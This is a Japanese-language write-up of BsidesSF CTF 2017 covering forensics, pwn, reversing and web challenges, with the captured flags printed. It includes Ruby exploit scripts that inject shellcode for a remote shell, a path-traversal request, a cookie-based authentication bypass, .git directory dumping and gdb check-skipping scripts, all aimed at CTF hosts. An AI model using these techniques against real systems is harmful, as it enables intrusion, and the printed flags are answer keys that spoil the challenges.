BsidesSF CTF 2017にソロで参加してみた.残り2時間半のところで寝てしまったので,少し見てない問題がある(Pwnとか解けそうだったなぁ)のが悔やまれる.結果としては1075点の104位だった.正直な事を言うと100位以内には入りたかったので悔しかった.以下に解けた問題のwriteupです
Forensics
easycap (40pts)
pcapファイルが渡されるので,Follow TCP Streamをする.
FLAG:385b87afc8671dee07550290d16a8071
Misc
NOP (20pts)
NOPと同じことをする命令なのでxchg eax, eax
xchg eax, eax
Pwn
easyshell (30pts)
ソースコードが渡され,中を見るとmmapでRWXな領域を作ってそこをcallしているので,シェルコードを流すだけ.
ただし,alarmが短いので予めcat /home/ctf/flag.txt
をコピーして置いて貼り付けて出力させた.
#!/usr/bin/env ruby # coding: ascii-8bit require 'pwnlib' host = 'localhost' port = 8888 if(ARGV[0] == 'r') host = 'easyshell-f7113918.ctf.bsidessf.net' port = 5252 end PwnTube.open(host, port) do |t| # t.debug = true puts t.recv_until("\n") t.sendline(PwnLib.shellcode_x86) t.shell end
FLAG:c832b461f8772b49f45e6c3906645adb
shortest (200pts)
5byte分の命令を実行してくれる上に,その命令にjmpする前に意図的に仕組まれたmov edx, 0xff
などがあり,予めシステムコールが呼びやすいレジスタ設定になるようにされている.そこで,eaxとebxの値をdecしてあげて,int 0x80を呼んで新たにreadを呼ぶ.その読み込み先は今実行している命令の先頭からなので,先頭に5byteパディングをつけてシェルコードを後続させる.先程と同様に予めコマンドをコピーしておいて貼り付けてFLAG出力.
#!/usr/bin/env ruby # coding: ascii-8bit require 'pwnlib' host = 'localhost' port = 8888 if(ARGV[0] == 'r') host = 'i-am-the-shortest-6d15ba72.ctf.bsidessf.net' port = 8890 end PwnTube.open(host, port) do |t| t.debug = true addr = t.recv_until("\n").match(/is (.+)\n/)[1].to_i(16) puts t.recv_until("\n") puts "addr 0x%x" % addr payload = "" payload << p32(0xcd4b4848) payload << "\x80" t.send(payload) sleep(1) t.send("AAAAA" + PwnLib.shellcode_x86) t.shell #=> cat /home/ctf/flag.txt end
FLAG:c9f053110aa0f2d28ed8978e3b03cb01
Reversing
Easy (10pts)
stringsとターミナルで打つ力が必要.
FLAG:db2f62a36a018bce28e46d976e3f9864
easyarm (100pts)
ARMのバイナリ問題.ぶっちゃけ取り組んだことがないので,楽しんで解けた.動的解析する環境すらないので,普通に静的解析をした(Hopperに投げた). そうするとおおよそ以下のCコードのような処理をしていると分かった.
#include <stdio.h> int check(const char *string) { int i = 0; if(string[i + 6] == NULL) { return 0xc2; } else { if(string[i + 6] == 'R') { // 処理が続く } } return 0; } void error_exit() { puts("Sorry, that's not the right flag."); exit(1); } int main(int argc, char* argv[]) { if(argc != 2) error_exit(); if(check(argv[1]) != 0) error_exit(); puts("Congratulations, you have found the flag."); exit(0); }
上記のコードより,入力文字列に対して,特定の添字でアクセスしてNULLかどうかの判断の後に,実際のASCII文字との比較を行っていることがわかったので,アセンブリのadds r3, #0x6
やcmp r3, #0x52
などを目印にしてadds
の引数を添字,cmp
の引数を比較対象として文字を並べるとフラグが出てきた.
Flag:ARM_Is_Not_Scary
Pinlock (150pts)
いつもと同様にデコンパイルする.まずassets/pinlock.dbの中を見てみると4つのテーブルがあったが,実際v1とpinDBしか使われないことが他のソースを読むとわかる.
pinDBには,d8531a519b3d4dfebece0259f90b466a23efc57bというsha1hashが格納されており,これの元は7498であった.おそらくpinだろうと思って入力してみると,実際にログインに成功した.
しかし,ログインしても普通の英語しか表示されず,これはDBv1の方の中の暗号化された文字列だと判明した.そこでDBv2の方がフラグだとうと推測して,これを戻すためにCryptoUtilitiesの必要なメソッドたちだけを引っこ抜いてきて,クラスを作り,以下のコードを実行するとフラグがでた.
コードの実行などの際にandoroidのBase64などを使っていたが,Java8から入っているらしいのでそれを使ったため,andoroid環境が無くても動くコードにした.Java8の環境なんて作っていないので,オンラインのJava8が実行できるprivateな環境を使って実行した.
class Solver { public static void main(String[] args) throws Exception { String str = "7498"; CryptoUtilities cr = new CryptoUtilities("v2", str); //System.out.print(cr.decrypt("hcsvUnln5jMdw3GeI4o/txB5vaEf1PFAnKQ3kPsRW2o5rR0a1JE54d0BLkzXPtqB")); System.out.print(cr.decrypt("Bi528nDlNBcX9BcCC+ZqGQo1Oz01+GOWSmvxRj7jg1g=")); } }
Flag:OnlyAsStrongAsWeakestLink
Skipper (75pts)
ホスト名やOSのバージョンなどの比較をシェル・コマンド使って行われてしまう.そこでそこらへんの比較処理が終えた後どうなっているのかを確認してみると,call 0x8048a63
をしているとわかる.そこでgdbでそこにgoto 0x8048a63
して飛んでcontinue
をするとフラグがでてくる.
FLAG:f51579e9ca38ba87d71539a9992887ff
Skipper2 (200pts)
Skipperの強化番なので,愚直に飛ばすことはできないと踏んで,比較対象と同じになるような文字列を格納できるgdb scriptを作成した.x86だと文字列が長い時setコマンドが増えてしまうので,あえてx86_64のバイナリで解析を行った.
必要な箇所でこれを逐次実行していって正しい比較結果の分岐を勧めていく.比較が終わったらcontinue
でFLAG出力.
def hostname set {long}0x7fffffffdb20 = 9088680153868427624 end def osversion set {long}0x7fffffffdb20 = 54095888264754 end def cpu set {long}0x7fffffffdb20 = 8387218128874261825 set {int}0x7fffffffdb28 = 561145204 end
FLAG保存し忘れた
Web
easyauth (30pts)
ソースコードを見るとPOSTのときはいろいろ処理があるが,GETのときは大部分をすり抜けていくことがわかる.さらにすり抜けた先で,Cookieの値をパースして$usernameに入れる処理があり,その$usernameを後に文字列administrator
と比較しているので,パースした時に$usernameにadministrator
が入るようにCookieを設定してGETリクエストを送るとFLAGが出力される.
FLAG:0076ecde2daae415d7e5ccc7db909e7e
the-year-2000 (100pts)
なんとなく.gitディレクトリを調べてみるとforbiddenと表示される.怪しいので,更に調べてみる,.gitの中身を思い出してHEAD/.git/HEAD
を末尾につけてアクセスすると案の定ファイルの中身が出力されたので,この方針だと確定する.dvcs-ripperでサクッと全部の中身を抜いてきて確認していく.
git log
で確認したcommitに戻してもフラグが見つからないので,git初心者の私は.gitディレクトリの中を探索していった.そしたら,.git/logs/HEAD
の中にlogにかかれていないcommitのハッシュ値があることに気づいた.そこで以下のハッシュ値を戻してみた.
git reset --hard 9e9ce4da43d0d2dc10ece64f75ec9cab1f4e5de0
そうするとindex.html
の末尾にFLAGがあった.
______________________ < Thanks for visiting! > ---------------------- \ ^__^ \ (oo)\_______ (__)\ )\/\ ||----w | || || </pre> </marquee> </body></html> Your flag is... FLAG:what_is_HEAD_may_never_die
FLAG:what_is_HEAD_may_never_die
Zumbo 1 (20pts)
ソースコードを見ると,server.pyというファイルで動いていることがわかるので,それを見る.
#!/bin/sh curl -s http://zumbo-8ac445b1.ctf.bsidessf.net/server.py | grep "FLAG"
FLAG: FIRST_FLAG_WASNT_HARD
Zumbo 2(100pts)
コードを見る限り,/<path:page>
のpage
で/flag
を設定すれば良いのでブラウザでやっていたが,うまくいかず生のHTTPリクエストを投げてみようと思い,BurpでHTTPリクエストのGETのところを以下のように書き換えてみたところちゃんとFLAGが出力された.
GET /../flag HTTP/1.1 Host: zumbo-8ac445b1.ctf.bsidessf.net User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:46.0) Gecko/20100101 Firefox/46.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: ja,en-US;q=0.7,en;q=0.3 Accept-Encoding: gzip, deflate Connection: close
FLAG: RUNNER_ON_SECOND_BASE